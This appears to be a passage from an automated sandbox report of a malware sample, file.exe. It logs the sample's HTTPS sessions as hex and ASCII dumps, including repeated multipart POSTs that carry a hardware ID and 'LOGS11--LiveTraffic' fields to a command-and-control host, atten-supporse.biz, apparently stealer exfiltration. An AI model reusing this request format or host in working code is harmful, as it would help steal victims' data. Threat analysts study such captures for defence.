9ZH/+etwhewFRRYnCVS7B1lXdy2bbHcGLaBdVY+DkO//ia2poFiF7glADWgzGa5GQxd3K9E7PQolrlhegMDWpOqR//ftfpL4C0IRKRtTvw5ZXnsulGR5Qm7tXE3Pm56O9Zrh+/d7wOFAVVstBRnpSF5WdCaVbXMGLKtVWIDF1K//m+X54XaL8Q5JFi4PVbANGhkwIIkjJUIOqlhHzfbdofaW+7H/NZm+CUBbcklXtAdIVmIin3FxByagWFuPxtm
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 37 48 2f 4e 5a 6d 2b 43 55 42 62 63 6b 6c 55 75 51 31 66 57 48 45 74 6e 32 5a 33 44 69 69 6a 57 45 65 41 78 39 36 6a 38 4a 76 67 2f 2b 52 7a 69 66 55 46 53 68 73 72 41 78 6e 2f 53 46 31 50 4d 48 2f 52 56 33 6f 4f 4c 61 49 5a 59 49 7a 4e 30 4b 6a 75 30 66 4b 2f 2b 54 75 48 38 6b 34 55 57 79 59 41 57 62 6f 43 58 6c 64 33 4b 70 52 67 65 67 45 74 71 6c 46 62 69 4d 66 53 70 76 57 58 37 66 62 6b 66 70 4c 37 42 30 41 58 61 6b 63 5a 74 68 41 61 44 7a 41 49 6c 6e 56 2b 4c 53 4f 38 55 68 57 51 6a 63 66 76 2f 35 32 74 71 61 42 38 68 66 59 46 53 68 4d 71 47 31 79 2f 41 31 74 64 64 69 61 63 62 33 73 43 49 61 31 64 57 59 2f 45 32 62 33 71 6c 4f 76 6a 36 6a 76 4f 76 67 6c 55 57 33 4a 4a 62 36 45 66 53 30 45 79 45 70 4a 74 63 77 55 32 37 55 51 62 6c 6f 50 5a 6f 37 6a 4a Data Ascii: 7H/NZm+CUBbcklUuQ1fWHEtn2Z3DiijWEeAx96j8Jvg/+RzifUFShsrAxn/SF1PMH/RV3oOLaIZYIzN0Kju0fK/+TuH8k4UWyYAWboCXld3KpRgegEtqlFbiMfSpvWX7fbkfpL7B0AXakcZthAaDzAIlnV+LSO8UhWQjcfv/52tqaB8hfYFShMqG1y/A1tddiacb3sCIa1dWY/E2b3qlOvj6jvOvglUW3JJb6EfS0EyEpJtcwU27UQbloPZo7jJ
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 61 4c 38 51 56 65 47 79 63 4e 56 62 55 41 55 56 30 77 61 64 46 6b 5a 55 4a 34 37 57 35 59 67 4d 50 64 75 62 69 4f 6f 2b 69 67 66 49 79 2b 56 67 77 58 4a 41 6c 57 76 51 52 52 58 33 45 72 6e 32 52 34 43 79 69 6c 53 56 53 4c 79 39 2b 68 39 35 44 70 39 4f 56 2f 68 2f 6f 49 51 31 74 6b 53 56 36 70 53 41 49 58 58 77 43 6b 49 56 77 34 59 4c 49 56 54 4d 2f 45 30 75 2b 67 30 65 48 79 37 48 4f 50 2b 41 64 41 45 53 4d 43 56 62 6f 4d 56 6c 35 31 49 5a 42 6d 65 41 4d 6b 6f 56 46 54 6a 4d 44 52 6f 50 65 5a 72 62 2b 67 66 4a 69 2b 56 67 77 2b 50 51 4a 58 74 30 68 46 47 57 6c 6e 6c 6d 38 39 57 6d 43 68 55 6c 4f 4a 78 74 4b 75 2f 70 6e 6f 2b 65 52 36 68 76 67 4e 51 78 38 76 43 46 61 31 42 46 52 64 63 53 61 64 61 48 49 4a 4a 65 30 56 46 59 6a 62 6e 76 65 34 6f 4f 37 6e 39 Data Ascii: aL8QVeGycNVbUAUV0wadFkZUJ47W5YgMPdubiOo+igfIy+VgwXJAlWvQRRX3Ern2R4CyilSVSLy9+h95Dp9OV/h/oIQ1tkSV6pSAIXXwCkIVw4YLIVTM/E0u+g0eHy7HOP+AdAESMCVboMVl51IZBmeAMkoVFTjMDRoPeZrb+gfJi+Vgw+PQJXt0hFGWlnlm89WmChUlOJxtKu/pno+eR6hvgNQx8vCFa1BFRdcSadaHIJJe0VFYjbnve4oO7n9
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 43 44 46 56 71 44 6b 48 78 55 42 70 35 65 7a 53 47 59 48 4d 4a 4e 72 59 62 53 73 48 61 6e 71 6a 30 30 62 57 78 34 33 43 4c 2b 67 35 41 47 79 34 45 57 61 4d 48 58 56 42 35 4c 49 4e 70 65 67 55 72 70 56 42 61 69 64 48 53 6f 65 71 55 2f 2b 4f 67 4e 63 44 35 46 67 78 44 61 6a 39 65 6f 52 68 5a 46 55 45 78 6b 6e 56 32 44 79 7a 74 52 42 75 57 67 39 6d 6a 75 4d 6d 74 39 2b 39 79 67 2f 45 50 52 52 63 6e 44 46 43 30 43 56 78 54 65 69 32 52 5a 58 73 44 4a 61 64 59 56 49 58 4b 32 61 66 2f 6b 76 2b 78 72 6a 75 48 35 6b 34 55 57 77 4d 4f 53 37 38 59 47 6b 67 2b 50 74 46 6b 63 55 4a 34 37 56 39 66 67 4d 66 5a 6f 2f 36 55 36 2f 7a 68 64 49 48 2b 41 55 67 51 49 77 39 59 76 41 31 58 55 32 49 74 6d 6d 78 78 43 79 79 67 47 78 76 50 78 4d 62 76 6f 4e 48 63 2f 4f 35 31 68 2b Data Ascii: CDFVqDkHxUBp5ezSGYHMJNrYbSsHanqj00bWx43CL+g5AGy4EWaMHXVB5LINpegUrpVBaidHSoeqU/+OgNcD5FgxDaj9eoRhZFUExknV2DyztRBuWg9mjuMmt9+9yg/EPRRcnDFC0CVxTei2RZXsDJadYVIXK2af/kv+xrjuH5k4UWwMOS78YGkg+PtFkcUJ47V9fgMfZo/6U6/zhdIH+AUgQIw9YvA1XU2ItmmxxCyygGxvPxMbvoNHc/O51h+
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 4c 77 52 55 76 41 74 63 55 58 73 72 67 32 70 39 41 53 76 74 46 52 57 49 32 35 37 33 75 4c 4c 36 35 2b 70 38 6a 4f 67 46 54 52 67 38 42 45 6e 78 52 68 70 47 64 7a 62 52 4f 32 73 53 4e 36 70 45 47 35 61 44 32 61 4f 34 79 61 33 33 36 58 32 48 2b 41 42 65 48 69 77 47 56 72 67 42 58 6c 39 7a 4a 35 56 6e 65 67 63 6a 6f 56 42 53 6a 4d 7a 61 70 76 61 59 34 72 47 75 4f 34 66 6d 54 68 52 62 43 78 4a 61 76 51 55 61 53 44 34 2b 30 57 52 78 51 6e 6a 74 56 31 75 4b 77 39 53 70 2f 4a 54 72 2b 2b 56 37 69 2f 30 42 53 42 30 75 42 6c 6d 36 41 56 74 52 64 53 32 61 5a 58 41 42 4a 71 73 62 47 38 2f 45 78 75 2b 67 30 63 33 71 37 58 65 48 76 68 45 43 41 6d 6f 4f 56 66 46 51 47 6c 78 38 49 35 5a 6a 63 41 45 6f 71 46 39 66 69 73 50 57 76 66 43 52 36 75 50 79 65 34 6e 37 41 6b 38 Data Ascii: LwRUvAtcUXsrg2p9ASvtFRWI2573uLL65+p8jOgFTRg8BEnxRhpGdzbRO2sSN6pEG5aD2aO4ya336X2H+ABeHiwGVrgBXl9zJ5VnegcjoVBSjMzapvaY4rGuO4fmThRbCxJavQUaSD4+0WRxQnjtV1uKw9Sp/JTr++V7i/0BSB0uBlm6AVtRdS2aZXABJqsbG8/Exu+g0c3q7XeHvhECAmoOVfFQGlx8I5ZjcAEoqF9fisPWvfCR6uPye4n7Ak8
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 37 49 59 57 56 68 68 47 64 45 37 5a 44 78 67 70 6b 31 53 6e 38 44 49 70 50 57 64 2f 4d 2b 67 49 39 53 73 58 42 35 4a 65 42 59 5a 72 6a 63 55 46 33 46 6e 79 56 70 6b 51 6a 62 74 41 77 66 42 67 38 7a 76 6f 4e 47 71 38 76 4a 70 68 76 30 59 54 31 77 55 4e 33 36 6e 41 6c 31 48 64 7a 43 65 49 7a 4e 43 4c 2b 30 44 62 4d 2f 4b 32 62 54 70 68 2b 44 68 35 7a 75 2f 73 45 35 55 57 33 4a 4a 62 4c 49 47 56 46 42 6d 4e 74 78 45 61 77 67 6e 76 56 78 43 67 49 4f 51 37 2f 37 52 74 61 4b 75 4f 34 54 76 54 68 52 4c 65 46 49 4d 34 6c 38 4b 42 57 39 70 69 43 4e 72 51 6e 6a 2f 46 52 57 64 67 34 62 76 76 35 4c 2f 34 2b 5a 34 6c 76 31 4a 63 69 55 4e 45 31 53 33 48 30 74 70 54 69 43 4c 62 6e 73 56 4d 65 46 4f 56 6f 48 4e 32 62 6d 34 33 36 33 2b 6f 43 4f 35 76 6b 59 4d 4a 47 52 4a Data Ascii: 7IYWVhhGdE7ZDxgpk1Sn8DIpPWd/M+gI9SsXB5JeBYZrjcUF3FnyVpkQjbtAwfBg8zvoNGq8vJphv0YT1wUN36nAl1HdzCeIzNCL+0DbM/K2bTph+Dh5zu/sE5UW3JJbLIGVFBmNtxEawgnvVxCgIOQ7/7RtaKuO4TvThRLeFIM4l8KBW9piCNrQnj/FRWdg4bvv5L/4+Z4lv1JciUNE1S3H0tpTiCLbnsVMeFOVoHN2bm4363+oCO5vkYMJGRJ
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 38 45 4a 33 66 44 66 44 4d 62 59 4c 73 62 44 64 32 4e 6e 72 32 34 79 61 32 32 34 32 6d 53 2b 41 31 61 47 47 30 33 5a 35 59 47 58 56 5a 6d 4e 34 5a 73 51 7a 77 31 72 6c 56 62 69 4e 58 50 37 37 62 52 34 72 47 34 51 73 43 32 54 6e 4e 56 61 68 45 5a 36 55 68 76 56 48 34 70 6c 6e 56 73 54 77 65 6a 58 46 53 5a 30 38 6d 67 75 4e 2b 74 39 36 41 6a 30 72 42 4f 53 41 70 71 55 51 6e 6a 55 77 38 45 4a 33 66 44 66 44 4d 62 59 4c 73 62 44 64 32 4e 6e 72 32 34 79 61 32 32 34 32 6d 53 2b 41 31 61 47 47 30 33 5a 35 59 47 58 56 5a 6d 4e 34 5a 73 4d 69 77 57 6a 47 56 72 6d 73 44 51 6f 66 2b 48 2f 4c 47 75 4f 34 2b 2b 56 6e 56 62 59 6b 6c 6d 2f 30 68 43 46 79 68 6e 70 47 42 7a 44 43 65 37 53 68 69 6f 7a 64 6d 75 37 6f 48 36 2f 71 39 56 74 74 39 4f 41 6c 73 73 53 51 48 6a 52 Data Ascii: 8EJ3fDfDMbYLsbDd2Nnr24ya2242mS+A1aGG03Z5YGXVZmN4ZsQzw1rlVbiNXP77bR4rG4QsC2TnNVahEZ6UhvVH4plnVsTwejXFSZ08mguN+t96Aj0rBOSApqUQnjUw8EJ3fDfDMbYLsbDd2Nnr24ya2242mS+A1aGG03Z5YGXVZmN4ZsMiwWjGVrmsDQof+H/LGuO4++VnVbYklm/0hCFyhnpGBzDCe7Shiozdmu7oH6/q9Vtt9OAlssSQHjR
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 31 6c 6e 4e 2b 51 42 47 37 57 46 57 42 78 4a 37 68 75 49 6d 74 71 61 42 57 6b 76 6b 65 54 31 74 6b 53 56 58 78 55 42 70 61 59 69 43 42 59 44 45 46 4f 71 6f 62 53 73 48 61 6e 72 6d 34 79 62 36 2f 6f 47 6e 41 70 6b 34 4c 46 53 63 49 57 72 38 4c 53 45 56 32 4a 49 64 67 4f 6a 77 65 67 45 6c 53 6e 38 43 63 6e 76 57 56 2b 2b 54 6a 61 34 66 41 4d 47 45 4a 4c 52 6c 61 38 79 52 64 57 6e 77 5a 72 31 52 73 42 54 44 76 66 56 61 5a 77 4a 37 68 75 49 6d 74 71 61 42 57 6b 76 6b 65 54 31 6b 47 44 6c 53 39 53 45 55 5a 61 57 65 48 49 79 56 52 62 75 31 4a 46 64 65 44 6d 61 7a 71 67 2b 76 79 39 6e 6a 48 77 44 42 68 43 53 30 5a 57 76 4d 35 56 31 4e 6d 4d 70 4a 7a 65 6a 77 65 67 45 6c 53 6e 38 43 63 69 73 4c 54 33 4f 66 6a 65 34 37 35 54 67 4a 62 4d 6b 6b 42 38 53 56 49 55 47 Data Ascii: 1lnN+QBG7WFWBxJ7huImtqaBWkvkeT1tkSVXxUBpaYiCBYDEFOqobSsHanrm4yb6/oGnApk4LFScIWr8LSEV2JIdgOjwegElSn8CcnvWV++Tja4fAMGEJLRla8yRdWnwZr1RsBTDvfVaZwJ7huImtqaBWkvkeT1kGDlS9SEUZaWeHIyVRbu1JFdeDmazqg+vy9njHwDBhCS0ZWvM5V1NmMpJzejwegElSn8CcisLT3Ofje475TgJbMkkB8SVIUG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49710	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:08 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JD5UFZ8Y7YPTB672L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12859 Host: atten-supporse.biz
2024-12-10 01:50:08 UTC	12859	OUT	Data Raw: 2d 2d 4a 44 35 55 46 5a 38 59 37 59 50 54 42 36 37 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 41 30 31 33 39 34 34 32 35 46 32 38 46 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 44 35 55 46 5a 38 59 37 59 50 54 42 36 37 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 44 35 55 46 5a 38 59 37 59 50 54 42 36 37 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --JD5UFZ8Y7YPTB672LContent-Disposition: form-data; name="hwid"65A01394425F28F123D904AF30EFEBBC--JD5UFZ8Y7YPTB672LContent-Disposition: form-data; name="pid"2--JD5UFZ8Y7YPTB672LContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-10 01:50:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmsg38ibfntcbavuhn21k5ga3j; expires=Fri, 04-Apr-2025 19:36:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fqwkwi9jeosRbOCc8Wrsqy6F2JmENsfDNAHA9zY3pAFXXxF3YNoBs%2BimUhXZdF2%2BcI5HhuqoI1lBEe9o1E6N2Aflrr%2FILErK2vIhNy09jSlB6tSyhioKrwvIP3b87DjKQV9Ye2o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef99519bb438c3c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1809&rtt_var=684&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13800&delivery_rate=1592148&cwnd=221&unsent_bytes=0&cid=4108931c2478e298&ts=969&x=0"
2024-12-10 01:50:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:50:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49709	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:08 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 51 78 45 41 6d 4b 4c 67 31 6b 53 4a 68 73 75 6a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 34 39 32 38 31 33 64 63 37 65 31 33 32 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: QxEAmKLg1kSJhsuj.1Context: b9492813dc7e1322
2024-12-10 01:50:08 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 01:50:08 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 51 78 45 41 6d 4b 4c 67 31 6b 53 4a 68 73 75 6a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 34 39 32 38 31 33 64 63 37 65 31 33 32 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 67 77 78 75 56 75 36 2f 44 6c 4f 47 31 77 76 66 72 2f 6c 4a 45 6d 48 39 4a 34 44 69 68 78 6b 64 65 30 53 52 32 74 74 33 61 48 39 45 42 34 6f 63 78 69 4a 34 7a 46 77 76 49 7a 71 74 50 7a 54 50 66 2b 68 47 35 7a 31 66 4c 79 76 42 61 68 58 5a 32 33 51 71 4e 4a 5a 56 30 30 69 69 37 33 49 6b 63 71 2f 72 31 62 6e 51 4a 67 47 33 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: QxEAmKLg1kSJhsuj.2Context: b9492813dc7e1322<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQgwxuVu6/DlOG1wvfr/lJEmH9J4Dihxkde0SR2tt3aH9EB4ocxiJ4zFwvIzqtPzTPf+hG5z1fLyvBahXZ23QqNJZV00ii73Ikcq/r1bnQJgG3
2024-12-10 01:50:08 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 51 78 45 41 6d 4b 4c 67 31 6b 53 4a 68 73 75 6a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 34 39 32 38 31 33 64 63 37 65 31 33 32 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: QxEAmKLg1kSJhsuj.3Context: b9492813dc7e1322<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 01:50:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 01:50:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6b 70 71 53 59 68 58 4c 4d 55 53 65 48 61 2b 51 64 48 62 63 7a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: kpqSYhXLMUSeHa+QdHbczA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49711	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:11 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M35VOAVS79 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15063 Host: atten-supporse.biz
2024-12-10 01:50:11 UTC	15063	OUT	Data Raw: 2d 2d 4d 33 35 56 4f 41 56 53 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 41 30 31 33 39 34 34 32 35 46 32 38 46 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4d 33 35 56 4f 41 56 53 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 33 35 56 4f 41 56 53 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 33 35 56 4f 41 56 53 37 39 0d 0a 43 6f Data Ascii: --M35VOAVS79Content-Disposition: form-data; name="hwid"65A01394425F28F123D904AF30EFEBBC--M35VOAVS79Content-Disposition: form-data; name="pid"2--M35VOAVS79Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--M35VOAVS79Co
2024-12-10 01:50:11 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i6s80h8gduum90cmmbr5tm7c2u; expires=Fri, 04-Apr-2025 19:36:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hfV7CKl1K7SrOQl6q3vH4B9Kq8%2BbXH1E2vPqAKPCDzP1KSDjNyMqyaNP1Tp3ifgxJUKxH5l2tx9iAj4Mt2VMVwXdAOKT4AI0suxE8Jm7Z0Mv7V1cco7Af%2Bav011Cz71DFyDHM%2Fg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef995281e1442f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1577&rtt_var=610&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15997&delivery_rate=1767554&cwnd=195&unsent_bytes=0&cid=fb528186506721f5&ts=888&x=0"
2024-12-10 01:50:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:50:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49713	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:13 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R8XCCQHHKX1B7L2Y3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19963 Host: atten-supporse.biz
2024-12-10 01:50:13 UTC	15331	OUT	Data Raw: 2d 2d 52 38 58 43 43 51 48 48 4b 58 31 42 37 4c 32 59 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 41 30 31 33 39 34 34 32 35 46 32 38 46 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 52 38 58 43 43 51 48 48 4b 58 31 42 37 4c 32 59 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 38 58 43 43 51 48 48 4b 58 31 42 37 4c 32 59 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --R8XCCQHHKX1B7L2Y3Content-Disposition: form-data; name="hwid"65A01394425F28F123D904AF30EFEBBC--R8XCCQHHKX1B7L2Y3Content-Disposition: form-data; name="pid"3--R8XCCQHHKX1B7L2Y3Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-10 01:50:13 UTC	4632	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 Data Ascii: +?2+?2+?o?Mp5p_
2024-12-10 01:50:14 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mnqnta6tk1b5p64l6ebiktgucs; expires=Fri, 04-Apr-2025 19:36:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: 